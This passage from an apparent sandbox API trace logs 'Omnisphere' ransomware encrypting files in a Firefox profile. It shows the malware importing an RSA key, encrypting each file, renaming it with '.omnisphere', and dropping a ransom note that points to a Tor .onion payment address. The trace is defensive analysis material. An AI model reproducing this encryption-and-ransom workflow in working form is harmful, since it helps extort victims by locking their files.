pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\*" [0162.352] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\*", lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41de8bd2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb3, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.354] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41de8bd2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb3, cFileName="..", cAlternateFileName="")) returned 1 [0162.354] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x246c9b2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x246c9b2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb3, cFileName="chrome", cAlternateFileName="")) returned 1 [0162.354] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41de8bd2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41ea4c3c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41ea601c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb3, cFileName="moz-safe-about+home", cAlternateFileName="MOZ-SA~1")) returned 1 [0162.354] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41de8bd2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41ea4c3c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41ea601c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb3, cFileName="moz-safe-about+home", cAlternateFileName="MOZ-SA~1")) returned 0 [0162.354] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.354] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\*", lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41de8bd2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.354] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41de8bd2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="..", cAlternateFileName="")) returned 1 [0162.354] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x246c9b2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x246c9b2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="chrome", cAlternateFileName="")) returned 1 [0162.354] GetProcessHeap () returned 0x1600000 [0162.354] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd4) returned 0x172d188 [0162.355] PathCombineW (in: pszDest=0x172d188, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent", pszFile="chrome" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome" [0162.355] GetProcessHeap () returned 0x1600000 [0162.355] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd8) returned 0x172cd28 [0162.355] PathCombineW (in: pszDest=0x172cd28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\*" [0162.355] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\*", lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x246c9b2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x246c9b2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa9, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0162.355] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x246c9b2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x246c9b2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa9, cFileName="..", cAlternateFileName="")) returned 1 [0162.355] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x23c41d5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0x0, dwReserved1=0xa9, cFileName=".metadata", cAlternateFileName="METADA~1")) returned 1 [0162.355] GetProcessHeap () returned 0x1600000 [0162.355] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe8) returned 0x1746388 [0162.355] PathCombineW (in: pszDest=0x1746388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome", pszFile=".metadata" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata" [0162.355] StrStrW (lpFirst=".omnisphere", lpSrch=".metadata") returned 0x0 [0162.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.356] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x3e0c3dc | out: lpFileSize=0x3e0c3dc*=29) returned 1 [0162.356] GetTickCount () returned 0x1168525 [0162.356] GetTickCount () returned 0x1168525 [0162.356] GetTickCount () returned 0x1168525 [0162.356] GetTickCount () returned 0x1168525 [0162.356] GetTickCount () returned 0x1168525 [0162.356] GetTickCount () returned 0x1168525 [0162.356] GetTickCount () returned 0x1168525 [0162.356] GetTickCount () returned 0x1168525 [0162.356] GetTickCount () returned 0x1168525 [0162.356] GetTickCount () returned 0x1168525 [0162.356] GetTickCount () returned 0x1168525 [0162.356] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] GetTickCount () returned 0x1168525 [0162.357] CryptAcquireContextW (in: phProv=0x3e0be64, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0be64*=0x16688a0) returned 1 [0162.358] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0bdcc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be70 | out: phKey=0x3e0be70*=0x16395e8) returned 1 [0162.358] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x80) returned 1 [0162.358] CryptDestroyKey (hKey=0x16395e8) returned 1 [0162.358] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0162.358] CreateFileMappingW (hFile=0x3b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d, lpName=0x0) returned 0x398 [0162.358] MapViewOfFile (hFileMappingObject=0x398, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d) returned 0x1480000 [0162.358] CryptAcquireContextW (in: phProv=0x3e0be54, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0be54*=0x1668708) returned 1 [0162.359] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0be0c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be64 | out: phKey=0x3e0be64*=0x16396a8) returned 1 [0162.359] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0be48*=0x2, dwFlags=0x0) returned 1 [0162.359] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0be50*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0be50*=0x10) returned 1 [0162.359] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0162.359] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0162.359] CryptDestroyKey (hKey=0x16396a8) returned 1 [0162.359] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0162.359] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x1d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0162.359] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c3e4, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0c3e4*=0x524, lpOverlapped=0x0) returned 1 [0162.383] GetProcessHeap () returned 0x1600000 [0162.383] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2f8) returned 0x174e858 [0162.383] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata.omnisphere")) returned 1 [0162.384] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata.omnisphere.id" [0162.384] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0162.421] WriteFile (in: hFile=0x394, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0be6c, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0be6c*=0x524, lpOverlapped=0x0) returned 1 [0162.423] CloseHandle (hObject=0x394) returned 1 [0162.423] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.423] CloseHandle (hObject=0x398) returned 1 [0162.424] SetEndOfFile (hFile=0x3b4) returned 1 [0162.424] FlushFileBuffers (hFile=0x3b4) returned 1 [0162.462] CloseHandle (hObject=0x3b4) returned 1 [0162.462] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome") returned 1 [0162.462] GetProcessHeap () returned 0x1600000 [0162.462] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174eb58 [0162.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.462] GetProcessHeap () returned 0x1600000 [0162.462] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733860 [0162.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733860, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.462] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.463] GetProcessHeap () returned 0x1600000 [0162.463] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17266f8 [0162.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17266f8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.463] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.463] GetProcessHeap () returned 0x1600000 [0162.463] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x104) returned 0x174f078 [0162.463] PathCombineW (in: pszDest=0x174f078, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\!DECRYPT_OMNISPHERE.txt" [0162.463] GetProcessHeap () returned 0x1600000 [0162.463] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1743ea8 [0162.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.467] WriteFile (in: hFile=0x3b4, lpBuffer=0x1743ea8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c404, lpOverlapped=0x0 | out: lpBuffer=0x1743ea8*, lpNumberOfBytesWritten=0x3e0c404*=0x588, lpOverlapped=0x0) returned 1 [0162.468] CloseHandle (hObject=0x3b4) returned 1 [0162.468] GetProcessHeap () returned 0x1600000 [0162.468] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174eb58 | out: hHeap=0x1600000) returned 1 [0162.468] GetProcessHeap () returned 0x1600000 [0162.468] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfa) returned 0x174e418 [0162.468] PathCombineW (in: pszDest=0x174e418, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\unique_decrypt.key" [0162.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.469] WriteFile (in: hFile=0x3b4, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c418, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c418*=0x5a0, lpOverlapped=0x0) returned 1 [0162.470] CloseHandle (hObject=0x3b4) returned 1 [0162.470] GetProcessHeap () returned 0x1600000 [0162.470] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174e418 | out: hHeap=0x1600000) returned 1 [0162.470] GetProcessHeap () returned 0x1600000 [0162.470] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1746388 | out: hHeap=0x1600000) returned 1 [0162.470] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2409b53, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2409b53, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x240aee0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2a, dwReserved0=0x0, dwReserved1=0xa9, cFileName=".metadata-v2", cAlternateFileName="METADA~2")) returned 1 [0162.470] GetProcessHeap () returned 0x1600000 [0162.470] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xee) returned 0x174e418 [0162.470] PathCombineW (in: pszDest=0x174e418, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome", pszFile=".metadata-v2" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2" [0162.470] StrStrW (lpFirst=".omnisphere", lpSrch=".metadata-v2") returned 0x0 [0162.470] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.471] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x3e0c3dc | out: lpFileSize=0x3e0c3dc*=42) returned 1 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.471] GetTickCount () returned 0x11685a2 [0162.472] GetTickCount () returned 0x11685a2 [0162.472] GetTickCount () returned 0x11685a2 [0162.472] GetTickCount () returned 0x11685a2 [0162.472] GetTickCount () returned 0x11685a2 [0162.472] GetTickCount () returned 0x11685a2 [0162.472] GetTickCount () returned 0x11685a2 [0162.472] GetTickCount () returned 0x11685a2 [0162.472] GetTickCount () returned 0x11685a2 [0162.472] GetTickCount () returned 0x11685a2 [0162.472] GetTickCount () returned 0x11685a2 [0162.472] GetTickCount () returned 0x11685a2 [0162.472] CryptAcquireContextW (in: phProv=0x3e0be64, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0be64*=0x16681b8) returned 1 [0162.472] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0bdcc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be70 | out: phKey=0x3e0be70*=0x16395e8) returned 1 [0162.473] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x80) returned 1 [0162.473] CryptDestroyKey (hKey=0x16395e8) returned 1 [0162.473] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0162.473] CreateFileMappingW (hFile=0x3b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a, lpName=0x0) returned 0x398 [0162.473] MapViewOfFile (hFileMappingObject=0x398, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a) returned 0x1480000 [0162.474] CryptAcquireContextW (in: phProv=0x3e0be54, szContainer=0x0, szProvider=0x0, dwProvType=0x18, 